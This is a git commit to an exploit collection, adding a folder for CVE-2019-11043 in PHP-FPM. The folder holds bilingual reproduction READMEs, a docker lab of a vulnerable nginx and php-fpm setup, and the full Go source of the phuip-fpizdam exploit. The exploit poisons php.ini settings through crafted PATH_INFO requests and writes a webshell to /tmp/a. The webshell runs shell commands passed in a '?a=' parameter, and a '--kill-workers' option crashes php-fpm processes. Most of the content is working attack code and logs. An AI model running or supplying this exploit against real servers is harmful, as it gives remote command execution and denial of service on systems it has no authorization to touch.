add CVE-2019-11043-PHP远程代码执行漏

This commit is contained in:
mr-xn 2019-10-23 21:07:12 +08:00
parent 63cb9c8bfa
commit 3f9a0c92fe
18 changed files with 777 additions and 0 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 53 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 25 KiB

View File

@ -0,0 +1,51 @@
# PHP-FPM Remote Command Execution (CVE-2019-11043)
[中文版本(Chinese version)](README.zh-cn.md)
There is a PHP remote code execution 0-Day discovered in Real World CTF 2019 Quals.
> Real World CTF 2019 Quals is a CTF challenge which was organized by Chaitin Tech in China.
References:
- https://bugs.php.net/bug.php?id=78599
- https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/
- https://github.com/neex/phuip-fpizdam
## Environment setup
Start a vulnerable PHP server through following command:
```
docker-compose up -d
```
After the environment is started, you can see the default page at `http://your-ip:8080/index.php`.
## Vulnerability Reproduce
Use this tool to reproduce the vulnerability, <https://github.com/neex/phuip-fpizdam>:
```
$ go run . "http://your-ip:8080/index.php"
2019/10/23 19:41:00 Base status code is 200
2019/10/23 19:41:00 Status code 502 for qsl=1795, adding as a candidate
2019/10/23 19:41:00 The target is probably vulnerable. Possible QSLs: [1785 1790 1795]
2019/10/23 19:41:02 Attack params found: --qsl 1790 --pisos 152 --skip-detect
2019/10/23 19:41:02 Trying to set "session.auto_start=0"...
2019/10/23 19:41:02 Detect() returned attack params: --qsl 1790 --pisos 152 --skip-detect <-- REMEMBER THIS
2019/10/23 19:41:02 Performing attack using php.ini settings...
2019/10/23 19:41:02 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/23 19:41:02 Trying to cleanup /tmp/a...
2019/10/23 19:41:02 Done!
```
Something is show that the process is finished successfully:
![](1.png)
A webshell is written in the background of PHP-FPM, visit `http://your-ip:8080/index.php?a=id` to trigger RCE:
![](2.png)
You should notice that only part of the PHP-FPM child process is polluted, so please try a few more times to execute the command.

View File

@ -0,0 +1,49 @@
# PHP-FPM 远程代码执行漏洞CVE-2019-11043
在长亭科技举办的 Real World CTF 中,国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。
在使用一些有错误的Nginx配置的情况下通过恶意构造的数据包即可让PHP-FPM执行任意代码。
参考链接:
- https://bugs.php.net/bug.php?id=78599
- https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/
- https://github.com/neex/phuip-fpizdam
## 漏洞环境
执行如下命令启动有漏洞的Nginx和PHP
```
docker-compose up -d
```
环境启动后,访问`http://your-ip:8080/index.php`即可查看到一个默认页面。
## 漏洞复现
使用<https://github.com/neex/phuip-fpizdam>中给出的工具,发送数据包:
```
$ go run . "http://your-ip:8080/index.php"
2019/10/23 19:41:00 Base status code is 200
2019/10/23 19:41:00 Status code 502 for qsl=1795, adding as a candidate
2019/10/23 19:41:00 The target is probably vulnerable. Possible QSLs: [1785 1790 1795]
2019/10/23 19:41:02 Attack params found: --qsl 1790 --pisos 152 --skip-detect
2019/10/23 19:41:02 Trying to set "session.auto_start=0"...
2019/10/23 19:41:02 Detect() returned attack params: --qsl 1790 --pisos 152 --skip-detect <-- REMEMBER THIS
2019/10/23 19:41:02 Performing attack using php.ini settings...
2019/10/23 19:41:02 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/23 19:41:02 Trying to cleanup /tmp/a...
2019/10/23 19:41:02 Done!
```
![](1.png)
可见,这里已经执行成功。
我们访问`http://your-ip:8080/index.php?a=id`,即可查看到命令已成功执行:
![](2.png)
注意因为php-fpm会启动多个子进程在访问`/index.php?a=id`时需要多访问几次,以访问到被污染的进程。

View File

@ -0,0 +1,27 @@
server {
listen 80 default_server;
listen [::]:80 default_server;
root /usr/share/nginx/html;
index index.html index.php;
server_name _;
location / {
try_files $uri $uri/ =404;
}
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
include fastcgi_params;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_index index.php;
fastcgi_param REDIRECT_STATUS 200;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
fastcgi_pass php:9000;
}
}

View File

@ -0,0 +1,15 @@
version: '2'
services:
nginx:
image: nginx:1
volumes:
- ./www:/usr/share/nginx/html
- ./default.conf:/etc/nginx/conf.d/default.conf
depends_on:
- php
ports:
- "8080:80"
php:
image: php:7.2.10-fpm
volumes:
- ./www:/var/www/html

View File

@ -0,0 +1,2 @@
<?php
echo "hello world";

View File

@ -0,0 +1,61 @@
# PHuiP-FPizdaM
## What's this
This is an exploit for a bug in php-fpm (CVE-2019-11043). In certain nginx + php-fpm configurations, the bug is possible to trigger from the outside. This means that a web user may get code execution if you have vulnerable config (see below).
## What's vulnerable
If a webserver runs nginx + php-fpm and nginx have a configuration like
```
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
```
which also lacks any script existence checks (like `try_files`), then you can probably hack it with this sploit.
So, the full list of preconditions is:
1. Nginx + php-fpm, `location ~ [^/]\.php(/|$)` must be forwarded to php-fpm (maybe the regexp can be stricter, see [#1](https://github.com/neex/phuip-fpizdam/issues/1)).
2. The `fastcgi_split_path_info` directive must be there and contain a regexp starting with `^` and ending with `$`, so we can break it with a newline character.
3. There must be a `PATH_INFO` variable assignment via statement `fastcgi_param PATH_INFO $fastcgi_path_info;`. At first, we thought it is always present in the `fastcgi_params` file, but it's not true.
4. No file existence checks like `try_files $uri =404` or `if (-f $uri)`. If Nginx drops requests to non-existing scripts before FastCGI forwarding, our requests never reach php-fpm. Adding this is also the easiest way to patch.
## Isn't this known to be vulnerable for years?
A long time ago php-fpm didn't restrict the extensions of the scripts, meaning that something like `/avatar.png/some-fake-shit.php` could execute `avatar.png` as a PHP script. This issue was fixed around 2010.
The current one doesn't require file upload, works in the most recent versions (until the fix has landed), and, most importantly, the exploit is much cooler.
## How to run
Install it using
```
go install github.com/neex/phuip-fpizdam
```
and try to run using `phuip-fpizdam [url]`. Good output looks like this:
```
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!
```
After this, you can start appending `?a=<your command>` to all PHP scripts (you may need multiple retries).
## Credits
Original anomaly discovered by [d90pwn](https://twitter.com/d90pwn) during Real World CTF. Root clause found by me (Emil Lerner) as well as the way to set php.ini options. Final php.ini options set is found by [beched](https://twitter.com/ahack_ru).

View File

@ -0,0 +1,67 @@
package main
import (
"bytes"
"log"
"net/url"
)
var chain = []string{
"short_open_tag=1",
"html_errors=0",
"include_path=/tmp",
"auto_prepend_file=a",
"log_errors=1",
"error_reporting=2",
"error_log=/tmp/a",
"extension_dir=\"<?=`\"",
"extension=\"$_GET[a]`?>\"",
}
const (
checkCommand = `a=/bin/sh+-c+'which+which'&` // must not contain any chars that are encoded (except space)
successPattern = "/bin/which"
cleanupCommand = ";echo '<?php echo `$_GET[a]`;return;?>'>/tmp/a;which which"
)
func Attack(requester *Requester, params *AttackParams) error {
log.Printf("Performing attack using php.ini settings...")
attackLoop:
for {
for _, payload := range chain {
_, body, err := SetSettingSingle(requester, params, payload, checkCommand)
if err != nil {
return err
}
if bytes.Contains(body, []byte(successPattern)) {
log.Printf(`Success! Was able to execute a command by appending "?%s" to URLs`, checkCommand)
break attackLoop
}
}
}
log.Printf("Trying to cleanup /tmp/a...")
cleanup := url.Values{"a": []string{cleanupCommand}}
for {
_, body, err := requester.RequestWithQueryStringPrefix("/", params, cleanup.Encode()+"&")
if err != nil {
return err
}
if bytes.Contains(body, []byte(successPattern)) {
log.Print("Done!")
break
}
}
return nil
}
func KillWorkers(requester *Requester, params *AttackParams, killCount int) error {
for i := 0; i < killCount; i++ {
if _, _, err := requester.Request(BreakingPayload, params); err != nil {
return err
}
}
return nil
}

View File

@ -0,0 +1,14 @@
package main
const (
UserAgent = "Mozilla/5.0"
PosOffset = 34
SettingEnableRetries = 50
MinQSL = 1500
MaxQSL = 1950
QSLDetectStep = 5
MaxQSLDetectDelta = 10
MaxQSLCandidates = 10
MaxPisosLength = 256
BreakingPayload = "/PHP\nis_the_shittiest_lang.php"
)

View File

@ -0,0 +1,180 @@
package main
import (
"errors"
"fmt"
"log"
"os"
"sort"
)
var errPisosBruteForbidden = errors.New("pisos length brute is forbidden by command line options")
type AttackParams struct {
QueryStringLength int
PisosLength int
}
func (ap *AttackParams) Complete() bool {
return ap.QueryStringLength != 0 && ap.PisosLength != 0
}
func (ap *AttackParams) String() string {
s := fmt.Sprintf("--qsl %v --pisos %v", ap.QueryStringLength, ap.PisosLength)
if ap.Complete() {
s += " --skip-detect"
}
return s
}
func Detect(requester *Requester, method *DetectMethod, hints *AttackParams, onlyQSL bool) (*AttackParams, error) {
var qslCandidates []int
baseResp, _, err := requester.Request("/path\ninfo.php", &AttackParams{MinQSL, 1})
if err != nil {
return nil, fmt.Errorf("error while doing first request: %v", err)
}
baseStatus := baseResp.StatusCode
log.Printf("Base status code is %#v", baseStatus)
if hints.QueryStringLength != 0 {
if onlyQSL {
return nil, errors.New("only-qsl specified with --qsl, nothing to do")
}
log.Printf("Skipping qsl detection, using hint (qsl=%v)", hints.QueryStringLength)
qslCandidates = append(qslCandidates, hints.QueryStringLength)
} else {
for qsl := MinQSL; qsl <= MaxQSL; qsl += QSLDetectStep {
ap := &AttackParams{qsl, 1}
resp, _, err := requester.Request(BreakingPayload, ap)
if err != nil {
return nil, fmt.Errorf("error for %#v: %v", ap, err)
}
if resp.StatusCode != baseStatus {
log.Printf("Status code %v for qsl=%v, adding as a candidate", resp.StatusCode, qsl)
qslCandidates = append(qslCandidates, qsl)
}
}
}
if len(qslCandidates) == 0 {
return nil, errors.New("no qsl candidates found, invulnerable or something wrong")
}
if len(qslCandidates) > MaxQSLCandidates {
return nil, errors.New("too many qsl candidates found, looks like I got banned")
}
qslCandidates = extendQSLCandidatesList(qslCandidates)
log.Printf("The target is probably vulnerable. Possible QSLs: %v", qslCandidates)
if onlyQSL {
return nil, errPisosBruteForbidden
}
for try := 0; try < 10; try++ {
if err := SanityCheck(requester, method, baseStatus); err != nil {
return nil, fmt.Errorf("sanity check failed: %v", err)
}
}
var plCandidates []int
if hints.PisosLength != 0 {
plCandidates = append(plCandidates, hints.PisosLength)
log.Printf("Skipping pisos length brute, using hint (pl=%v)", hints.PisosLength)
} else {
for i := 1; i <= MaxPisosLength; i++ {
plCandidates = append(plCandidates, i)
}
}
payload, err := MakePathInfo(method.PHPOptionEnable)
if err != nil {
// methods are hardcoded, this shouldn't happen
panic(err)
}
for try := 0; try < SettingEnableRetries; try += 1 {
for _, qsl := range qslCandidates {
for _, pl := range plCandidates {
params := &AttackParams{qsl, pl}
resp, data, err := requester.Request(payload, params)
if err != nil {
return nil, fmt.Errorf("error for %#v: %v", params, err)
}
if resp.StatusCode != baseStatus {
log.Printf("Status code %v for %#v", resp.StatusCode, params)
}
if method.Check(resp, data) {
log.Printf("Attack params found: %v", params)
return params, SetSetting(requester, params, method.PHPOptionDisable, SettingEnableRetries)
}
}
}
}
return nil, fmt.Errorf("not vulnerable or other failure, IDK")
}
func SanityCheck(requester *Requester, method *DetectMethod, baseStatus int) error {
resp, data, err := requester.Request("/PHP\nSOSAT", &AttackParams{
QueryStringLength: MaxQSL,
PisosLength: MaxPisosLength,
})
if err != nil {
return err
}
if resp.StatusCode != baseStatus {
return fmt.Errorf("invalid status code: %v (must be %v). Maybe \".php\" suffix is required?", resp.StatusCode, baseStatus)
}
if method.Check(resp, data) {
_, _ = fmt.Fprintf(os.Stderr, `
OK, here's what happened:
I was trying to set %#v setting using the vulnerability.
If it had been set I would have been able to detect it so I would have known
the attack params. However, my %#v detector says it's
already set before I took any actions.
This can happen for one of two reasons:
1. The server has %#v already enabled in the config (or the script behaves like it).
2. You launched the attack previously and resetting back to %#v failed.
If it's 1, everything is simple: try another detection method.
If it's 2, there might be some problems. The server now runs with the poisoned
config and may seem broken for other users if the detection method is intrusive
(like "output_handler=md5"). I don't know how to fix it.
If you have previously retrieved attack params (QSL and Pisos) try to use them
with --skip-detection. If you manage to get RCE you can fix the server. Another
option is to try --reset-setting flag, but I'm not sure it will help.
Another option is to use --kill-workers, this may kill php-fpm workers with SIGSEGV.
They will restart and the server will become usable again.
If you don't have attack params, used intrusive detection method and don't own the
server, you are fucked.
`, method.PHPOptionEnable, method.PHPOptionEnable, method.PHPOptionEnable, method.PHPOptionDisable)
return fmt.Errorf("already attacked? Setting %v seems to be set", method.PHPOptionEnable)
}
return nil
}
func extendQSLCandidatesList(candidates []int) []int {
values := make(map[int]struct{})
for _, qsl := range candidates {
for delta := 0; delta <= MaxQSLDetectDelta; delta += QSLDetectStep {
c := qsl - delta
values[c] = struct{}{}
}
}
var extended []int
for qsl := range values {
extended = append(extended, qsl)
}
sort.Sort(sort.IntSlice(extended))
return extended
}

View File

@ -0,0 +1,29 @@
package main
import (
"net/http"
"strings"
)
type DetectMethod struct {
PHPOptionEnable string
PHPOptionDisable string
Check func(resp *http.Response, data []byte) bool
}
var Methods = map[string]*DetectMethod{
"session.auto_start": {
PHPOptionEnable: "session.auto_start=1",
PHPOptionDisable: "session.auto_start=0",
Check: func(resp *http.Response, _ []byte) bool {
return strings.Contains(resp.Header.Get("set-cookie"), "PHPSESSID")
},
},
"output_handler.md5": {
PHPOptionEnable: "output_handler=md5",
PHPOptionDisable: "output_handler=NULL",
Check: func(_ *http.Response, data []byte) bool {
return len(data) == 16
},
},
}

View File

@ -0,0 +1,5 @@
module phuip-fpizdam
go 1.12
require github.com/spf13/cobra v0.0.5

View File

@ -0,0 +1,33 @@
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8=
github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
github.com/coreos/go-etcd v2.0.0+incompatible/go.mod h1:Jez6KQU2B/sWsbdaef3ED8NzMklzPG4d5KIOhIy30Tk=
github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=
github.com/cpuguy83/go-md2man v1.0.10/go.mod h1:SmD6nW6nTyfqj6ABTjUi3V3JVMnlJmwcJI5acqYI6dE=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM=
github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/russross/blackfriday v1.5.2/go.mod h1:JO/DiYxRf+HjHt06OyowR9PTA263kcR/rfWxYHBV53g=
github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ=
github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
github.com/spf13/cobra v0.0.5 h1:f0B+LkLX6DtmRH1isoNA9VTtNUK9K8xYd28JNNfOv/s=
github.com/spf13/cobra v0.0.5/go.mod h1:3K3wKZymM7VvHMDS9+Akkh4K60UwM26emMESw8tLCHU=
github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo=
github.com/spf13/pflag v1.0.3 h1:zPAT6CGy6wXeQ7NtTnaTerfKOsV6V6F8agHXFiazDkg=
github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
github.com/spf13/viper v1.3.2/go.mod h1:ZiWeW+zYFKm7srdB9IoDzzZXaJaI5eL9QjNiN/DMA2s=
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/ugorji/go/codec v0.0.0-20181204163529-d75b2dcb6bc8/go.mod h1:VFNgLljTbGfSG7qAOspJ7OScBnGdDN/yBr0sguwnwf0=
github.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q=
golang.org/x/crypto v0.0.0-20181203042331-505ab145d0a9/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/sys v0.0.0-20181205085412-a5c9d58dba9a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=

View File

@ -0,0 +1,124 @@
package main
import (
"log"
"github.com/spf13/cobra"
)
func main() {
var (
method string
cookie string
setting string
skipDetect bool
skipAttack bool
killWorkers bool
killCount int
resetSetting bool
resetRetries int
onlyQSL bool
params = &AttackParams{}
)
var cmd = &cobra.Command{
Use: "phuip-fpizdam [url]",
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
url := args[0]
m, ok := Methods[method]
if !ok {
log.Fatalf("Unknown detection method: %v", method)
}
requester, err := NewRequester(url, cookie)
if err != nil {
log.Fatalf("Failed to create requester: %v", err)
}
if resetSetting {
if !params.Complete() {
log.Fatal("--reset-setting requires complete params")
}
if setting == "" {
setting = m.PHPOptionDisable
}
if resetRetries == -1 {
resetRetries = 1 << 30
}
if err := SetSetting(requester, params, setting, resetRetries); err != nil {
log.Fatalf("ResetSetting() returned error: %v", err)
}
log.Printf("I did my best trying to set %#v", setting)
return
}
if setting != "" {
log.Fatal("--setting requires --reset-setting")
}
if killWorkers {
if params.QueryStringLength == 0 {
log.Fatal("QSL value is required for killing workers")
}
// The breaking payload is 4 bytes shorter than usual (34), so we have
// (Δ|SCRIPT_FILENAME| + Δ|REQUEST_URI| + Δ|DOCUMENT_URI|)/2 = 6.
// This probably won't work in some configurations.
params.QueryStringLength += 6
if err := KillWorkers(requester, params, killCount); err != nil {
log.Fatalf("KillWorkers() returned error: %v", err)
}
log.Printf("all done")
return
}
if skipDetect {
if !params.Complete() {
log.Fatal("Got --skip-detect and attack params are incomplete, don't know what to do")
}
log.Printf("Using attack params %s", params)
} else {
var err error
params, err = Detect(requester, m, params, onlyQSL)
if err != nil {
if err == errPisosBruteForbidden && onlyQSL {
log.Printf("Detect() found QSLs and that's it")
return
}
log.Fatalf("Detect() returned error: %v", err)
}
if !params.Complete() {
log.Fatal("Detect() returned incomplete attack params, something gone wrong")
}
log.Printf("Detect() returned attack params: %s <-- REMEMBER THIS", params)
}
if skipAttack || onlyQSL {
log.Print("Attack phase is disabled, so that's it")
return
}
if err := Attack(requester, params); err != nil {
log.Fatalf("Attack returned error: %v", err)
}
},
}
cmd.Flags().StringVar(&method, "method", "session.auto_start", "detect method (see detect_methods.go)")
cmd.Flags().StringVar(&cookie, "cookie", "", "send this cookie")
cmd.Flags().IntVar(&params.QueryStringLength, "qsl", 0, "qsl hint")
cmd.Flags().IntVar(&params.PisosLength, "pisos", 0, "pisos hint")
cmd.Flags().BoolVar(&skipDetect, "skip-detect", false, "skip detection phase")
cmd.Flags().BoolVar(&skipAttack, "skip-attack", false, "skip attack phase")
cmd.Flags().BoolVar(&onlyQSL, "only-qsl", false, "stop after QSL detection, use this if you just want to check if the server is vulnerable")
cmd.Flags().BoolVar(&resetSetting, "reset-setting", false, "try to reset setting (requires attack params)")
cmd.Flags().IntVar(&resetRetries, "reset-retries", SettingEnableRetries, "how many retries to do for --reset-setting, -1 means a lot")
cmd.Flags().StringVar(&setting, "setting", "", "specify custom php.ini setting for --reset-setting")
cmd.Flags().BoolVar(&killWorkers, "kill-workers", false, "just kill php-fpm workers (requires only QSL)")
cmd.Flags().IntVar(&killCount, "kill-count", SettingEnableRetries, "how many times to send the worker killing payload")
if err := cmd.Execute(); err != nil {
log.Fatal(err)
}
}

View File

@ -0,0 +1,34 @@
package main
import (
"fmt"
"log"
"net/http"
"strings"
)
func MakePathInfo(phpValue string) (string, error) {
pi := "/PHP_VALUE\n" + phpValue
if len(pi) > PosOffset {
return "", fmt.Errorf("php.ini value is too long: %#v", phpValue)
}
return pi + strings.Repeat(";", PosOffset-len(pi)), nil
}
func SetSetting(requester *Requester, params *AttackParams, setting string, tries int) error {
log.Printf("Trying to set %#v...", setting)
for i := 0; i < tries; i++ {
if _, _, err := SetSettingSingle(requester, params, setting, ""); err != nil {
return fmt.Errorf("error while setting %#v: %v", setting, err)
}
}
return nil
}
func SetSettingSingle(requester *Requester, params *AttackParams, setting, queryStringPrefix string) (*http.Response, []byte, error) {
payload, err := MakePathInfo(setting)
if err != nil {
return nil, nil, err
}
return requester.RequestWithQueryStringPrefix(payload, params, queryStringPrefix)
}

View File

@ -0,0 +1,85 @@
package main
import (
"crypto/tls"
"fmt"
"io/ioutil"
"net/http"
"net/url"
"strings"
"time"
)
type Requester struct {
cl *http.Client
u *url.URL
cookie string
}
func NewRequester(resource, cookie string) (*Requester, error) {
u, err := url.Parse(resource)
if err != nil {
return nil, fmt.Errorf("url.Parse failed: %v", err)
}
if !strings.HasSuffix(u.Path, ".php") {
return nil, fmt.Errorf("well I believe the url must end with \".php\". " +
"Maybe I'm wrong, delete this check if you feel like it")
}
nextProto := make(map[string]func(authority string, c *tls.Conn) http.RoundTripper)
disableRedirects := func(_ *http.Request, _ []*http.Request) error { return http.ErrUseLastResponse }
return &Requester{
cl: &http.Client{
Transport: &http.Transport{
DisableCompression: true, // No "Accept-Encoding"
TLSNextProto: nextProto, // No http2
Proxy: http.ProxyFromEnvironment,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
Timeout: 30 * time.Second,
CheckRedirect: disableRedirects, // No redirects
},
u: u,
cookie: cookie,
}, nil
}
func (r *Requester) Request(pathInfo string, params *AttackParams) (*http.Response, []byte, error) {
return r.RequestWithQueryStringPrefix(pathInfo, params, "")
}
func (r *Requester) RequestWithQueryStringPrefix(pathInfo string, params *AttackParams, prefix string) (*http.Response, []byte, error) {
if !strings.HasPrefix(pathInfo, "/") {
return nil, nil, fmt.Errorf("path doesn't start with slash: %#v", pathInfo)
}
u := *r.u
u.Path = u.Path + pathInfo
qslDelta := len(u.EscapedPath()) - len(pathInfo) - len(r.u.EscapedPath())
if qslDelta%2 != 0 {
panic(fmt.Errorf("got odd qslDelta, that means the URL encoding gone wrong: pathInfo=%#v, qslDelta=%#v", qslDelta))
}
qslPrime := params.QueryStringLength - qslDelta/2 - len(prefix)
if qslPrime < 0 {
return nil, nil, fmt.Errorf("qsl value too small: qsl=%v, qslDelta=%v, prefix=%#v", params.QueryStringLength, qslDelta, prefix)
}
u.RawQuery = prefix + strings.Repeat("Q", qslPrime)
req, err := http.NewRequest("GET", u.String(), nil)
if err != nil {
return nil, nil, err
}
req.Header.Set("User-Agent", UserAgent)
if r.cookie != "" {
req.Header.Set("Cookie", r.cookie)
}
req.Header.Set("D-Pisos", "8"+strings.Repeat("=", params.PisosLength)+"D")
req.Header.Set("Ebut", "mamku tvoyu")
resp, err := r.cl.Do(req)
if resp != nil {
defer func() { _ = resp.Body.Close() }()
}
if err != nil {
return nil, nil, err
}
data, err := ioutil.ReadAll(resp.Body)
return resp, data, err
}

View File

@ -76,6 +76,7 @@
- [构建ASMX绕过限制WAF达到命令执行(适用于ASP.NET环境)](./构建ASMX绕过限制WAF达到命令执行.md) - [构建ASMX绕过限制WAF达到命令执行(适用于ASP.NET环境)](./构建ASMX绕过限制WAF达到命令执行.md)
- [CVE-2019-17662-ThinVNC 1.0b1 - Authentication Bypass](./CVE-2019-17662-ThinVNC%201.0b1%20-%20Authentication%20Bypass.md) - [CVE-2019-17662-ThinVNC 1.0b1 - Authentication Bypass](./CVE-2019-17662-ThinVNC%201.0b1%20-%20Authentication%20Bypass.md)
- [CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd](./CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd.md) - [CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd](./CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd.md)
- [CVE-2019-11043-PHP远程代码执行漏](./CVE-2019-11043)
## 提权辅助相关 ## 提权辅助相关